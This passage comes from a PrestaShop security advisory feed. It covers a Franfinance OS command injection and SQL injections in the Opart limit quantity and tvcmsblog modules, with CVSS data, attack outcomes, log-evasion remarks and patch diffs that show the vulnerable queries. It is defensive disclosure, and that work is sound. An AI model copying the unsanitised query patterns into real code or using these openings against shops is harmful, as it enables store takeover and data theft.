</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The module “idnovate” for PrestaShop incorrectly restricts access to the “connect as” feature from &gt;= 2.3.5 and &lt; 2.4.2 lets an attacker connect as any customer account. Release 2.4.2 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-43139] Improper Neutralization of Special Elements used in an OS Command in the Franfinance module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/25/franfinance.html" rel="alternate" type="text/html" title="[CVE-2023-43139] Improper Neutralization of Special Elements used in an OS Command in the Franfinance module for PrestaShop" /><published>2023-10-25T00:00:00+00:00</published><updated>2023-10-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/25/franfinance</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/25/franfinance.html"><![CDATA[<p>The PrestaShop e-commerce platform module Franfinance contains a vulnerability that lets an attaker inject a malicious malware in releases published before 2019.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43139">CVE-2023-43139</a></li>
  <li><strong>Published at</strong>: 2023-10-25</li>
  <li><strong>Advisory source</strong>: Friends-of-presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: franfinance</li>
  <li><strong>Impact release</strong>: &lt; 1.9.0 for Prestashop 1.6 OR &lt; 2.0.27 for Prestashop 1.7+</li>
  <li><strong>Product author</strong>: 202 ecommerce until 2019 / an other developer after</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>The validation of a payment with the Franfinance solution uses Atos SIPS v1 platform which returns data to decrypt with a binary file to execute.</p>

<p>An attacker can inject into this sequence an arbitrary executable script.</p>

<h3 id="version-1x">version 1.x</h3>

<p>This version is used by PrestaShop 1.6-. The vulnerability can be exploited even if the module is disabled.</p>

<h3 id="version-2x">version 2.x</h3>

<p>This version is used by PrestaShop 1.7. The vulnerability can be exploited only if the module is enabled.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Control and hijack a PrestaShop</li>
</ul>

<h2 id="patches-and-recommendations">Patches and recommendations</h2>

<ul>
  <li>If the <code class="language-plaintext highlighter-rouge">exec()</code> method is found in the module especially in file <code class="language-plaintext highlighter-rouge">modules/franfinance/validation.php</code> or <code class="language-plaintext highlighter-rouge">modules/franfinance/controllers/front/validation.php</code>, your module used obsolete SIPS V1 and <strong>must be removed</strong>.</li>
  <li>Activate OWASP 932’s and 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-01-13</td>
      <td>Issue discovered during a code review by <a href="https://touchweb.fr">TouchWeb.fr</a> and documented by <a href="https://www.202-ecommerce.com/">202-ecommerce.com</a></td>
    </tr>
    <tr>
      <td>2023-01-13</td>
      <td>Security issue report to Franfinance</td>
    </tr>
    <tr>
      <td>2023-01-13</td>
      <td>Franfinance confirms the scope of release</td>
    </tr>
    <tr>
      <td>2023-09-08</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-25</td>
      <td>Publication of the security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://opencredit.franfinance.com/foire-aux-questions/la-mise-en-place-dune-solution-de-facilite-de-paiement/comment-mettre-en-place">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43139">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202 ecommerce.com&quot;, &quot;TouchWeb.fr&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The PrestaShop e-commerce platform module Franfinance contains a vulnerability that lets an attaker inject a malicious malware in releases published before 2019.]]></summary></entry><entry><title type="html">[CVE-2023-36263] Improper neutralization of SQL parameter in Opart limit quantity for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/25/opartlimitquantity.html" rel="alternate" type="text/html" title="[CVE-2023-36263] Improper neutralization of SQL parameter in Opart limit quantity for PrestaShop" /><published>2023-10-25T00:00:00+00:00</published><updated>2023-10-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/25/opartlimitquantity</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/25/opartlimitquantity.html"><![CDATA[<p>In the module “Opart limit quantity” (opartlimitquantity), a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36263">CVE-2023-36263</a></li>
  <li><strong>Published at</strong>: 2023-10-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: opartlimitquantity</li>
  <li><strong>Impacted release</strong>: &lt;= 1.4.5 (1.4.6 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Opart</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Method <code class="language-plaintext highlighter-rouge">OpartlimitquantityAlertlimitModuleFrontController::displayAjaxPushAlertMessage()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING : Can be easily found by source auto-analysis - so it will be exploited soon to deploy webskimmer.</strong></p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data on the associated PrestaShop</li>
  <li>Copy/past datas from sensibles tables to FRONT to exposed tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijacked emails</li>
</ul>

<h2 id="patch-from-146">Patch from 1.4.6</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.5/modules/opartlimitquantity/controllers/front/alertlimit.php
</span><span class="gi">+++ 1.4.6/modules/opartlimitquantity/controllers/front/alertlimit.php
</span><span class="err">...</span>
        if($id_attribute == 0){
 
<span class="gd">-            $values = Db::getInstance()-&gt;getRow('SELECT quantity,batch_type FROM '._DB_PREFIX_.'opartlimitquantity_product_batch WHERE id_product = '.$id_product);
</span><span class="gi">+            $values = Db::getInstance()-&gt;getRow('SELECT quantity,batch_type FROM '._DB_PREFIX_.'opartlimitquantity_product_batch WHERE id_product = '.(int)$id_product);
</span>         }
         else{
<span class="gd">-
-            $values = Db::getInstance()-&gt;getRow('SELECT quantity,batch_type FROM '._DB_PREFIX_.'opartlimitquantity_product_attribute_batch WHERE id_product = '.$id_product.' AND id_product_attribute = '.$id_attribute);
</span><span class="gi">+            $values = Db::getInstance()-&gt;getRow('SELECT quantity,batch_type FROM '._DB_PREFIX_.'opartlimitquantity_product_attribute_batch WHERE id_product = '.(int)$id_product.' AND id_product_attribute = '.(int)$id_attribute);
</span>             if(!$values){
<span class="gd">-                 $values = Db::getInstance()-&gt;getRow('SELECT quantity,batch_type FROM '._DB_PREFIX_.'opartlimitquantity_product_batch WHERE id_product = '.$id_product);
</span><span class="gi">+                 $values = Db::getInstance()-&gt;getRow('SELECT quantity,batch_type FROM '._DB_PREFIX_.'opartlimitquantity_product_batch WHERE id_product = '.(int)$id_product);
</span>             }
         }
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>opartlimitquantity</strong>.</li>
  <li>Upgrade PrestaShop to the latest version to disable multiquery executions (separated by “;”)</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer arbitrary prefix. However, be warned that this is useless against blackhat with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these sets of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-12</td>
      <td>Issue discovered during a code review by <a href="https://www.202-ecommerce.com/">202-ecommerce.com</a></td>
    </tr>
    <tr>
      <td>2022-12-12</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2022-12-12</td>
      <td>Author confirms version scope</td>
    </tr>
    <tr>
      <td>2023-05-26</td>
      <td>Send a Mitre Request ID</td>
    </tr>
    <tr>
      <td>2023-10-25</td>
      <td>Publication of the security advisory</td>
    </tr>
  </tbody>
</table>

<p>Opart thanks <a href="https://www.202-ecommerce.com/">202-ecommerce.com</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.store-opart.fr/p/26-limit-quantity.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-36263">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Opart&quot;, &quot;202-ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Opart limit quantity” (opartlimitquantity), a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-27846] Improper neutralization of SQL parameter in tvcmsblog module by themevolty for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/25/tvcmsblog.html" rel="alternate" type="text/html" title="[CVE-2023-27846] Improper neutralization of SQL parameter in tvcmsblog module by themevolty for PrestaShop" /><published>2023-10-25T00:00:00+00:00</published><updated>2023-10-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/25/tvcmsblog</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/25/tvcmsblog.html"><![CDATA[<p>In tvcmsblog, dependancies of the theme Electron edited by Themevolty for PrestaShop, an attacker can perform a blind SQL injection.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27846">CVE-2023-27846</a></li>
  <li><strong>Published at</strong>: 2023-10-25</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tvcmsblog</li>
  <li><strong>Impacted release</strong>: &lt; 4.0.8</li>
  <li><strong>Product author</strong>: Themevolty</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Multiple sensitive SQL calls in many php classes can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted “rewrite”, “page_type”, “recordsArray” variables.</p>

<p>WARNING : Be warned that one exploit will bypass some WAF (hijacked unconventional HTTP header) in this <a href="https://security.friendsofpresta.org/modules/2023/08/24/tvcmsblog.html">CVE-2023-39650</a></p>

<p>Be warned that this module could own others vulnerabilities.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.0.0/modules/tvcmsblogclasses/tvcmscategoryclass.php
</span><span class="gi">+++ 4.0.0_patched/modules/tvcmsblogclasses/tvcmscategoryclass.php
</span><span class="p">@@ -83,8 +83,8 @@</span> class TvcmsCategoryClass extends ObjectM
             return false;
         }
         $sql = 'SELECT xc.`id_tvcmscategory` FROM `' . _DB_PREFIX_ . 'tvcmscategory` xc WHERE '
<span class="gd">-            . 'xc.`category_type` = "' . ($category_type ? $category_type : 'category')
-             . '" AND xc.active = 1 AND xc.`id_tvcmscategory` = ' . $id_category;
</span><span class="gi">+            . 'xc.`category_type` = "' . ($category_type ? pSQL($category_type) : 'category')
+             . '" AND xc.active = 1 AND xc.`id_tvcmscategory` = ' . (int) $id_category;
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
 
         return (isset($rslts['id_tvcmscategory']) &amp;&amp; !empty($rslts['id_tvcmscategory'])) ? true : false;
<span class="p">@@ -96,7 +96,7 @@</span> class TvcmsCategoryClass extends ObjectM
             &amp;&amp; isset($_FILES['category_img']['tmp_name'])
             &amp;&amp; !empty($_FILES['category_img']['tmp_name'])) {
             $sql = 'SELECT * FROM `' . _DB_PREFIX_ . 'tvcmscategory` WHERE '
<span class="gd">-             . ' `id_tvcmscategory` = ' . Tools::getValue('id_tvcmscategory');
</span><span class="gi">+             . ' `id_tvcmscategory` = ' . (int) Tools::getValue('id_tvcmscategory');
</span>             $res = Db::getInstance()-&gt;executeS($sql);
 
             if (file_exists(TVCMSBLOG_IMG_DIR . $res['category_img'])) {
<span class="p">@@ -105,7 +105,7 @@</span> class TvcmsCategoryClass extends ObjectM
             $this-&gt;category_img = TvcmsBlog::uploadMedia('category_img');
         } else {
             $sql = 'SELECT * FROM `' . _DB_PREFIX_ . 'tvcmscategory` WHERE '
<span class="gd">-             . ' `id_tvcmscategory` = ' . Tools::getValue('id_tvcmscategory');
</span><span class="gi">+             . ' `id_tvcmscategory` = ' . (int) Tools::getValue('id_tvcmscategory');
</span> 
             $res = Db::getInstance()-&gt;executeS($sql);
             $this-&gt;category_img = $res[0]['category_img'];
<span class="p">@@ -204,8 +204,8 @@</span> class TvcmsCategoryClass extends ObjectM
             . 'xcl.`id_tvcmscategory` AND xcl.`id_lang` = ' . $id_lang . ') INNER JOIN `' . _DB_PREFIX_
              . 'tvcmscategory_shop` xcs ON (xc.`id_tvcmscategory` = xcs.`id_tvcmscategory` AND xcs.`id_shop` = '
             . $id_shop . ') ';
<span class="gd">-        $sql .= ' WHERE xc.`category_type` = "' . ($category_type ? $category_type : 'category') . '" AND '
-            . 'xc.`id_tvcmscategory` = ' . $id_category;
</span><span class="gi">+        $sql .= ' WHERE xc.`category_type` = "' . ($category_type ? pSQL($category_type) : 'category') . '" AND '
+            . 'xc.`id_tvcmscategory` = ' . (int) $id_category;
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
 
         return $rslts;
<span class="p">@@ -222,8 +222,8 @@</span> class TvcmsCategoryClass extends ObjectM
              . 'tvcmscategory_lang` xcl ON (xc.`id_tvcmscategory` = xcl.`id_tvcmscategory` AND xcl.`id_lang` = '
             . $id_lang . ') INNER JOIN `' . _DB_PREFIX_ . 'tvcmscategory_shop` xcs ON (xc.`id_tvcmscategory` = '
             . 'xcs.`id_tvcmscategory` AND xcs.`id_shop` = ' . $id_shop . ') ';
<span class="gd">-        $sql .= ' WHERE xc.`category_type` = "' . ($category_type ? $category_type : 'category')
-             . '" AND xcl.`link_rewrite` = "' . $rewrite . '" ';
</span><span class="gi">+        $sql .= ' WHERE xc.`category_type` = "' . ($category_type ? pSQL($category_type) : 'category')
+             . '" AND xcl.`link_rewrite` = "' . pSQL($rewrite) . '" ';
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
 
         return isset($rslts['id_tvcmscategory']) ? $rslts['id_tvcmscategory'] : null;
<span class="p">@@ -241,9 +241,9 @@</span> class TvcmsCategoryClass extends ObjectM
                     (xc.`id_tvcmscategory` = xcs.`id_tvcmscategory` '
                      . 'AND xcs.`id_shop` = ' . $id_shop . ')
                ';
<span class="gd">-        $sql .= ' WHERE xc.`active` = 1 AND  category_type = "' . $category_type . '" ';
</span><span class="gi">+        $sql .= ' WHERE xc.`active` = 1 AND  category_type = "' . pSQL($category_type) . '" ';
</span>         if ($category_group != null) {
<span class="gd">-            $sql .= ' AND category_group = ' . $category_group;
</span><span class="gi">+            $sql .= ' AND category_group = ' . (int) $category_group;
</span>         }
         $sql .= ' ORDER BY xc.`position` ASC ';
 
<span class="gd">--- 4.0.0/modules/tvcmsblogclasses/tvcmscommentclass.php
</span><span class="gi">+++ 4.0.0_patched/modules/tvcmsblogclasses/tvcmscommentclass.php
</span><span class="p">@@ -108,7 +108,7 @@</span> class TvcmsCommentClass extends ObjectMo
         if ($id_post == null) {
             return false;
         }
<span class="gd">-        $sql = 'SELECT * FROM `' . _DB_PREFIX_ . 'tvcms_comments` xc  WHERE xc.`id_post` = ' . $id_post
</span><span class="gi">+        $sql = 'SELECT * FROM `' . _DB_PREFIX_ . 'tvcms_comments` xc  WHERE xc.`id_post` = ' . (int) $id_post
</span>              . ' AND xc.active = 1 ORDER BY xc.position DESC ';
         $rslts = Db::getInstance()-&gt;executeS($sql);
 
<span class="p">@@ -121,7 +121,7 @@</span> class TvcmsCommentClass extends ObjectMo
             return false;
         }
         $sql = 'SELECT COUNT(id_tvcms_comments) AS total_comment FROM `' . _DB_PREFIX_ . 'tvcms_comments` xc '
<span class="gd">-             . ' WHERE xc.`id_post` = ' . $id_post;
</span><span class="gi">+             . ' WHERE xc.`id_post` = ' . (int) $id_post;
</span>         $rslts = Db::getInstance()-&gt;executeS($sql);
 
         return isset($rslts) ? $rslts['0']['total_comment'] : false;

--- 4.0.0/modules/tvcmsblogclasses/tvcmspostsclass.php
<span class="gi">+++ 4.0.0_patched/modules/tvcmsblogclasses/tvcmspostsclass.php
</span><span class="p">@@ -375,7 +375,7 @@</span> class TvcmsPostsClass extends ObjectMode
             self::deleteTagPost($id_post);
             if (isset($category_ids) &amp;&amp; !empty($category_ids)) {
                 foreach ($category_ids as $id_category) {
<span class="gd">-                    $queryval .= '(' . (int) $id_post . ',' . (int) $id_category . ',"' . $tag . '"),';
</span><span class="gi">+                    $queryval .= '(' . (int) $id_post . ',' . (int) $id_category . ',"' . pSQL($tag) . '"),';
</span>                 }
                 $queryval = rtrim($queryval, ',');
                 if (Db::getInstance()-&gt;execute('INSERT INTO `' . _DB_PREFIX_
<span class="p">@@ -408,7 +408,7 @@</span> class TvcmsPostsClass extends ObjectMode
         }
 
         if (Db::getInstance()-&gt;execute('DELETE FROM ' . _DB_PREFIX_ . 'tvcms_category_post WHERE id_post = '
<span class="gd">-                . $id_post . ' AND type = "' . $tag . '"')) {
</span><span class="gi">+                . (int) $id_post . ' AND type = "' . pSQL($tag) . '"')) {
</span>             return true;
         } else {
             return false;
<span class="p">@@ -429,7 +429,7 @@</span> class TvcmsPostsClass extends ObjectMode
         INNER JOIN `' . _DB_PREFIX_ . 'tvcmsposts_shop` xcs ON (xc.`id_tvcmsposts` = xcs.`id_tvcmsposts` '
              . 'AND xcs.`id_shop` = ' . $id_shop . ')
         ';
<span class="gd">-        $sql .= ' WHERE xc.`post_type` = "' . ($post_type ? $post_type : 'post') . '" AND xc.`id_tvcmsposts` = ' . $id_post;
</span><span class="gi">+        $sql .= ' WHERE xc.`post_type` = "' . ($post_type ? pSQL($post_type) : 'post') . '" AND xc.`id_tvcmsposts` = ' . (int) $id_post;
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
 
         return $rslts;
<span class="p">@@ -447,8 +447,8 @@</span> class TvcmsPostsClass extends ObjectMode
             . $id_lang . ') INNER JOIN `' . _DB_PREFIX_ . 'tvcmsposts_shop` xcs ON '
              . '(xc.`id_tvcmsposts` = xcs.`id_tvcmsposts` '
              . 'AND xcs.`id_shop` = ' . $id_shop . ') ';
<span class="gd">-        $sql .= ' WHERE xc.`post_type` = "' . ($post_type ? $post_type : 'post') . '" AND xcl.`link_rewrite` = "'
-            . $rewrite . '" ';
</span><span class="gi">+        $sql .= ' WHERE xc.`post_type` = "' . ($post_type ? pSQL($post_type) : 'post') . '" AND xcl.`link_rewrite` = "'
+            . pSQL($rewrite) . '" ';
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
 
         return isset($rslts['id_tvcmsposts']) ? $rslts['id_tvcmsposts'] : null;
<span class="p">@@ -460,7 +460,7 @@</span> class TvcmsPostsClass extends ObjectMode
             return false;
         }
         $sql = 'SELECT xc.`id_tvcmsposts` FROM `' . _DB_PREFIX_ . 'tvcmsposts` xc WHERE xc.`post_type` = "'
<span class="gd">-            . ($post_type ? $post_type : 'post') . '" AND xc.active = 1 AND xc.`id_tvcmsposts` = ' . $id_post;
</span><span class="gi">+            . ($post_type ? pSQL($post_type) : 'post') . '" AND xc.active = 1 AND xc.`id_tvcmsposts` = ' . (int) $id_post;
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
 
         $tmp = $rslts['id_tvcmsposts'];
<span class="p">@@ -483,7 +483,7 @@</span> class TvcmsPostsClass extends ObjectMode
             . $id_lang . ') INNER JOIN `' . _DB_PREFIX_ . 'tvcmsposts_shop` xcs ON '
              . '(xc.`id_tvcmsposts` = xcs.`id_tvcmsposts` '
              . 'AND xcs.`id_shop` = ' . $id_shop . ') ';
<span class="gd">-        $sql .= ' WHERE xc.`post_type` = "' . ($post_type ? $post_type : 'post') . '" AND xc.`id_tvcmsposts` = "' . $id . '" ';
</span><span class="gi">+        $sql .= ' WHERE xc.`post_type` = "' . ($post_type ? pSQL($post_type) : 'post') . '" AND xc.`id_tvcmsposts` = "' . (int) $id . '" ';
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
 
         return isset($rslts['link_rewrite']) ? $rslts['link_rewrite'] : null;
<span class="p">@@ -502,8 +502,8 @@</span> class TvcmsPostsClass extends ObjectMode
         INNER JOIN `' . _DB_PREFIX_ . 'tvcmscategory_shop` xcs ON (xc.`id_tvcmscategory` = xcs.`id_tvcmscategory` '
              . 'AND xcs.`id_shop` = ' . $id_shop . ')
         ';
<span class="gd">-        $sql .= ' WHERE xc.`category_type` = "' . ($category_type ? $category_type : 'category') . '" AND'
-             . ' xc.`id_tvcmscategory` = ' . $id_category;
</span><span class="gi">+        $sql .= ' WHERE xc.`category_type` = "' . ($category_type ? pSQL($category_type) : 'category') . '" AND'
+             . ' xc.`id_tvcmscategory` = ' . (int) $id_category;
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
 
         return $rslts;
<span class="p">@@ -523,7 +523,7 @@</span> class TvcmsPostsClass extends ObjectMode
         INNER JOIN `' . _DB_PREFIX_ . 'tvcmscategory_shop` xcs ON (xc.`id_tvcmscategory` = xcs.`id_tvcmscategory` '
              . 'AND xcs.`id_shop` = ' . $id_shop . ')
         ';
<span class="gd">-        $sql .= ' WHERE xc.`category_type` = "tag" AND xcl.`name` = "' . $tag . '"';
</span><span class="gi">+        $sql .= ' WHERE xc.`category_type` = "tag" AND xcl.`name` = "' . pSQL($tag) . '"';
</span>         $rslts = Db::getInstance()-&gt;getrow($sql);
         if (isset($rslts) &amp;&amp; !empty($rslts)) {
             return $rslts['id_tvcmscategory'];
<span class="p">@@ -565,7 +565,7 @@</span> class TvcmsPostsClass extends ObjectMode
         INNER JOIN `' . _DB_PREFIX_ . 'tvcmscategory_shop` xcs ON (xcp.`id_category` = xcs.`id_tvcmscategory` '
              . 'AND xcs.`id_shop` = ' . $id_shop . ')
         ';
<span class="gd">-        $sql .= ' WHERE xcp.`id_post` = ' . $id_post . ' AND xcp.`type` = "' . $tag . '"';
</span><span class="gi">+        $sql .= ' WHERE xcp.`id_post` = ' . (int) $id_post . ' AND xcp.`type` = "' . pSQL($tag) . '"';
</span>         $rslts = Db::getInstance()-&gt;executeS($sql);
         if (isset($rslts) &amp;&amp; !empty($rslts)) {
             $countrslts = count($rslts);
<span class="p">@@ -593,13 +593,13 @@</span> class TvcmsPostsClass extends ObjectMode
         $id_shop = (int) Context::getContext()-&gt;shop-&gt;id;
         $sql = 'SELECT xcp.`id_category`,xcl.`name`,xcl.`link_rewrite` FROM `' . _DB_PREFIX_ . 'tvcms_category_post` xcp 
         INNER JOIN `' . _DB_PREFIX_ . 'tvcmscategory` xc ON (xcp.`id_category` = xc.`id_tvcmscategory` AND '
<span class="gd">-             . 'xc.`category_type` = "' . $tag . '")
</span><span class="gi">+             . 'xc.`category_type` = "' . pSQL($tag) . '")
</span>         INNER JOIN `' . _DB_PREFIX_ . 'tvcmscategory_lang` xcl ON (xcp.`id_category` = xcl.`id_tvcmscategory` '
              . 'AND xcl.`id_lang` = ' . $id_lang . ')
         INNER JOIN `' . _DB_PREFIX_ . 'tvcmscategory_shop` xcs ON (xcp.`id_category` = xcs.`id_tvcmscategory` '
              . 'AND xcs.`id_shop` = ' . $id_shop . ')
         ';
<span class="gd">-        $sql .= ' WHERE xcp.`id_post` = ' . $id_post . ' AND xcp.`type` = "' . $tag . '"';
</span><span class="gi">+        $sql .= ' WHERE xcp.`id_post` = ' . (int) $id_post . ' AND xcp.`type` = "' . pSQL($tag) . '"';
</span>         $rslts = Db::getInstance()-&gt;executeS($sql);
         if (isset($rslts) &amp;&amp; !empty($rslts)) {
             $i = 0;
<span class="p">@@ -640,7 +640,7 @@</span> class TvcmsPostsClass extends ObjectMode
         INNER JOIN `' . _DB_PREFIX_ . 'tvcmscategory_shop` xcs ON (xc.`id_tvcmscategory` = xcs.`id_tvcmscategory` '
              . 'AND xcs.`id_shop` = ' . $id_shop . ')
         ';
<span class="gd">-        $sql .= ' WHERE xc.`category_type` = "' . $tag . '" ';
</span><span class="gi">+        $sql .= ' WHERE xc.`category_type` = "' . pSQL($tag) . '" ';
</span>         $sql .= ' ORDER BY xc.`id_tvcmscategory` DESC ';
         $sql .= ' LIMIT ' . (int) $count;
         $rslts = Db::getInstance()-&gt;executeS($sql);
<span class="p">@@ -684,10 +684,10 @@</span> class TvcmsPostsClass extends ObjectMode
         ';
         $sql .= ' WHERE xc.`active` = 1 ';
         if ((int) $category != 0) {
<span class="gd">-            $sql .= ' AND xc.category = ' . $category;
</span><span class="gi">+            $sql .= ' AND xc.category = ' . (int) $category;
</span>         }
         if ($post_type != null) {
<span class="gd">-            $sql .= ' AND xc.post_type = "' . $post_type . '" ';
</span><span class="gi">+            $sql .= ' AND xc.post_type = "' . pSQL($post_type) . '" ';
</span>         }
         $sql .= ' ORDER BY xc.`position` DESC ';
         $queryexec = Db::getInstance()-&gt;getrow($sql);
<span class="p">@@ -720,10 +720,13 @@</span> class TvcmsPostsClass extends ObjectMode
         ';
         $sql .= ' WHERE xc.`active` = 1 ';
         if ((int) $category != 0) {
<span class="gd">-            $sql .= ' AND xc.category = ' . $category;
</span><span class="gi">+            $sql .= ' AND xc.category = ' . (int) $category;
</span>         }
         if ($post_type != null) {
<span class="gd">-            $sql .= ' AND xc.post_type = "' . $post_type . '" ';
</span><span class="gi">+            $sql .= ' AND xc.post_type = "' . pSQL($post_type) . '" ';
+        }
+        if (Validate::isOrderWay($order_by) === false){
+           $order_by = 'DESC';
</span>         }
         $sql .= ' ORDER BY xc.`position`  ' . $order_by;
